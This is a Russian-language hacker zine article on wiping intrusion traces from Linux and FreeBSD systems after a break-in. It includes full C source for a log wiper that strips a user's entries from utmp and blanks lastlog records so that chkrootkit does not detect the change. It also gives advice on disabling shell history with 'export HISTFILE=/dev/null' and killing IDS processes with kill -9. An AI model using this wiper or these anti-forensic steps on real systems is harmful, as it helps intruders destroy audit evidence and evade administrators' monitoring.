---------------------------------------------
#!/usr/share/doc/defaced/3/tandp/logclean.txt
---------------------------------------------


                    Чистка логов в Linux/FreeBSD
              ------------------------------------------

[ by defaced staff]
    
  Во многих статьях, описывающих взломы какой-нибудь системы, часто  автор пишет
что после проникновения надо заметать следы. Далее обычно следуют слова  "качаем
такую-то прогу с сайта, компилим,запускаем...".  А исходники просмотреть?  А кто 
сказал, что прога установится на эту ось? Ну лана, это ещё можно терпеть. Но как
автор описывает "различные логвайперы под UNIX" (в Хакере кажись была статья про
это =)... Такое "описание" выглядит мягко говоря глупо. Автор говорит только как
эту прогу компилить и какие она чистит логи... Минусы конечно он не упомянет.  В
общем сейчас я расскажу о затирании логов в linux, freebsd. 


Contents:
- utmp/wtmp/lastlog
- messages, auth.log and syslogd configuration
- shells history
- aditional logging toolz   
   
   
   
   
--------------[ part I ]



  Итак, сразу стоит сказать, какими прогами используются бинарные логи: 

        Log file              Progs
      ~~~~~~~~~~~~~        ~~~~~~~~~~~
      /var/run/utmp           w/who 
      /var/log/wtmp           last
      /var/log/lastlog        lastlog
 
А теперь о том, что в них хранится:
   
  UTMP      - инфа о пользователях, работающих в данный момент.
  WTMP      - тоже, что и utmp, но инфа вообще о всех входах в систему с момента
              создания файла.
  
  LASTLOG   - инфа о последнем входе для каждого пользователя.
  
  Конечно  изложил грубовато, но идея я надеюсь ясна. Теперь рассмотрим  форматы
этих логов. Для начала UTMP/WTMP (они одного типа) в Linux:

struct utmp
{
  short int ut_type;
  pid_t ut_pid;
  char ut_line[UT_LINESIZE];	/* терминальная линия (i.e. "tty1") */
  char ut_id[4];
  char ut_user[UT_NAMESIZE];	/* имя юзера  */
  char ut_host[UT_HOSTSIZE];	/* хост, с которого он зашёл  */
  struct exit_status ut_exit;	
  long int ut_session;
  struct timeval ut_tv;
  int32_t ut_addr_v6[4]; 
  char __unused[20];
};

А вот как это выглядит в FreeBSD:

struct utmp {
	char	ut_line[UT_LINESIZE];  /* линия */
	char	ut_name[UT_NAMESIZE];  /* имя юзера */
	char	ut_host[UT_HOSTSIZE];  /* хост */
	int32_t	ut_time;
};

Тут надеюсь тоже всё понятно. Нас будут интересовать значения ut_name/ut_user (в
freebsd), ut_line и ut_host. Теперь стоит сказать о структуре lastlog. Вот она в
Linux:

struct lastlog
  {
    __time_t ll_time;
    char ll_line[UT_LINESIZE];
    char ll_host[UT_HOSTSIZE];
  };

А в фряхе так:

struct lastlog {
	int32_t	ll_time;
	char	ll_line[UT_LINESIZE];
	char	ll_host[UT_HOSTSIZE];
};

Как видно в структурах не указано имя юзера. Просто оно не нужно. Если скажем мы
представим файл lastlog как текстовый, причём каждая строка - запись, то  запись
пользователя dude с uid == 31337 будет в строке 31338. Всё просто.
    
  Итак, мы  знаем  какие  файлы  используются  и  какой  в  них  формат.  Нас не
интересует как они закодированы. Работать с ними будем просто через read/write: 

int l;
struct utmp leet;  /* в эту структуру будем считывать записи */

l = open(LOGFILE,O_RDONLY);

while( read(l, leet, sizeof(leet)) >0 ){

...
}
close(l);

Просто загоняем инфу из файла в структуру. А далее можем её обрабатывать:

leet.ut_user='dude'; /* меняем имя пользователя в структуре */
write(f, leet, sizeof(leet)); /* и записываем её */

В конце будет исходник с комментариями. А пока посмотрим как править lasllog. Мы
не можем удялять оттуда записи, т.к. каждая соответствует uid'у юзера. Нам стоит
просто забить значения  пробелами (нулями не стоит, т.к. это обычно детектится):

lst.ll_time=0;
strcpy(lst.ll_line,"  ");
strcpy(lst.ll_host,"  ");

  Рассмотрим всё это на практике (это исходник простого логвайпера):

#define  UTMPF 	 	"/var/run/utmp"   /* тут определяем где лежат логи */
#define  LASTLOGF		"/var/log/lastlog"

#include <stdio.h>
#include <unistd.h>
#include <utmp.h>  /* тут описаны структуры */
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <pwd.h>

#ifdef _FREEBSD_       /* для совместимости с FreeBSD */
#define UTUSR	ut_name  /* just look `man utmp` */
#else
#include <lastlog.h>    /* в линухе структура lastlog в отдельном фале */
#define UTUSR	ut_user
#endif


void usage (char *pname);


int main (int argc, char *argv[])
{

int l,n,t;
struct  utmp	usr;    /* структура для обработки utmp/wtmp записей */
struct  lastlog lst;  /* структура для обработки записей в файле lastlog */ 
struct  passwd *psw;
char cmd[40];

printf("   WIPEr v 1.0 (Linux and FreeBSD support) by JLx\n");   

    if (argc < 3){ 
	
	usage(argv[0]); 
	exit(0);
	 
    }

if (argc >= 4){ t=1;}

/*************  UTMP  **************/ 

if ((l = open(UTMPF,O_RDONLY)) < 0 )   /*  открываем логфайл в режиме read_only */
    {
	printf("[-] Cant open %s!\n",UTMPF);
	exit(-1);
    }

n = open("ftmp",O_WRONLY | O_CREAT);  /* открываем новый файл, в который будем писать изменённый вариант */

    while( read(l,&usr, sizeof(usr)) >0 )  /* вот, заполняем структуру... */
    {
          /* далее идёт проверка имени юзера и линии терминала... */
	if ( (strcmp(usr.UTUSR,argv[1]) == 0) && (strcmp(usr.ut_line,argv[2]) == 0)){
	    
	    /* если юзер тот, инфу которого мы хотим выдрать... */
	    
	    if (t==1){  /*  ... если нужно проверяем хост */
			    
		if (!(strcmp(usr.ut_host,argv[3])==0))
			write(n, &usr, sizeof(usr)); /* если хост не наш, то записываем */
	    
	    }	    	
	 
	 /*  если хост проверять не надо, то
	       просто не записываем структуру... */
	
	} else {
	/* если юзер не тот, которого мы ищем, то записываем без изменений */
	 write(n,&usr,sizeof(usr));
	}
    
    } 

close(l);
close(n);

      /* теперь у нас файл ftmp, это изменённый /var/run/utmp */

system("cat ftmp > /var/run/utmp; rm ftmp"); /* заменяем старый лог на новый */

printf("[+] utmp done\n"); 

/* Теперь обработка lastlog... */

if ( (l = open(LASTLOGF,O_RDWR)) < 0 )
    {
	printf("[-] Cant open %s!\n",LASTLOGF);
	exit(-1);
    }

psw = getpwnam(argv[1]); /* нам нужен uid пользователя, которого мы хотим спрятать 
     ^^^^^^^^^^^^^ если это не понятно, то `man getpwnam` */


lseek(l, sizeof(lst)*psw->pw_uid, SEEK_SET);  /* ищем запись под номером == Uid (смещение 0) */
read(l, &lst, sizeof(lst)); /* и считываем её... */

lst.ll_time=0;  /* обнуляем время */
strcpy(lst.ll_line,"     ");  /* а хост и линию забиваем пробелами */
strcpy(lst.ll_host,"     ");

lseek(l, sizeof(lst)*psw->pw_uid, SEEK_SET); /* снова ищем эту запись... */
write(l, &lst, sizeof(lst)); /* ... и заменяем её новой */
close(l);

sprintf(cmd,"chmod 644 %s",LASTLOGF);
system(cmd);

printf("[+] lastlog done\n"); /* Вот так, всё довольно просто =) */

} 

void usage (char *pname)
{

printf("\n Usage: %s user tty <host>\n\n",pname);

}


  А вот если бы мы забивали структуры в этих файлах нулями, то нас мог бы засечь
злобный админ. К примеру Chkrootkit имеет утилиты для обнаружения таких  записей
в файлах wtmp/lastlog. Вот в основном всё. Я не описал логи wtmpx/utmpx и pacct/
acct т.к. во-первых,  они редко  используются, а во-вторых,  кто заинтересовался,
тот сам найдёт всё необходимое..

   
   
   


--------------[ part II ]   
   


  Теперь на очереди текстовые логи. Ну тут проблем быть не должно. Дира, где они
лежат почти всегда - /var/log. Если не понятно как работать с текстовыми файлами
то советую почитать мануалы. Идея их такова - висит syslogd. Мы передаём ему то,
что нужно  записать и тип  сообщения. А он решает, в  какой файл  это совать. Он
смотрит в файл /etc/syslog.conf, читает оттуда куда запихивать такое сообшение и
собственно выполняет это. Вот например то, как выглядит syslog.conf в mdk-linux:

# Various entry
auth,authpriv.*					/var/log/auth.log
*.*;auth,authpriv.none				-/var/log/syslog
user.*						-/var/log/user.log

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none			-/var/log/messages

# The authpriv file has restricted access.
authpriv.*					/var/log/secure

# Mail logging
mail.=debug;mail.=info;mail.=notice			-/var/log/mail/info
mail.=warn					-/var/log/mail/warnings
mail.err						-/var/log/mail/errors
<skipped>

Тоесть слева стоит тип сообщения, а справа - куда кидать полученные записи. Если
интересно, советую почитать `man syslog.conf`. Просто не реально в одной  статье 
рассказать об этом. А теперь то, чего все так боятся  - перенаправление логов на
другой хост.  Чтобы это активизировать,  нужно  вместо имени файла  записать вот
что: @hostname. Имя хоста должно быть прописано в /etc/hosts. Вот пример конфига
к syslog:

*.*                                             @megalohost 
 
Теперь все логи системы идут на хост megalohost. Не очень приятно? Бывают такие 
ещё вещи:

              # The tcp wrapper loggs with mail.info, we display
              # all the connections on tty12
              #
              mail.=info                   /dev/tty12

Тут все месаги о подключениях к почтовым демонам идут на терминал 12. Короче тут
совет один - `man syslog.conf`. 

   
   
   


--------------[ part III ]   
   


   Да, не стоит  забывать о таких простых  вещах. Будет  глупо, если мега-хаксор
всё затрёт, а хистори забудет. Админ умрёт со смеху =) Тут мало что нового можно
сказать.  Если шелл - bash, то его хистори  можно увидеть в переменной окружения
$HISTFILE. Соответственно, и изменить это довольно просто:

$ export HISTFILE=/dev/null

А если в системе основной шелл - sh/csh/tcsh (обычно в *bsd), то хистори будет в
$HOME/.history.  

   
   
   


--------------[ part IV ]   
   


   Вот что может представлять серъёзную угрозу,  так это дополнительные средства
логирования. Обычно  они проверяют системные логи, и как только находят что-либо
подозрительное, они  стучат на мыло админу или  отправляют логи по сетке. Но вот
что обчно выдаёт такие софтины - они не меняют имя процесса. Тоесть хакер глядит
список процессов и находит там что-то похожее на ids/logging_tool. Сразу же идёт
в ход `kill -9 $PID_OF_FUCKIN_IDS`. И обычно такой софт падает, немного последив
в логах, что потом элементарно затирается. 

Вывод: смотри список процессов и проверяй все подозрительные.


 
_e0f_ [ look include/wiper.c ]